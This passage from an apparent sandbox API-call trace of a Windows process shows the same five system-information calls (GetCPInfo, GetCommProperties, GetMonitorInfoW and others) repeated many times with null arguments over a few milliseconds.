GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.757] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.757] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.757] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.757] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.757] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.758] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.758] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.758] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.758] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.758] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.759] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.759] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.759] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.759] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.760] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.760] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.760] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.760] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.761] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.761] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.761] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.761] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 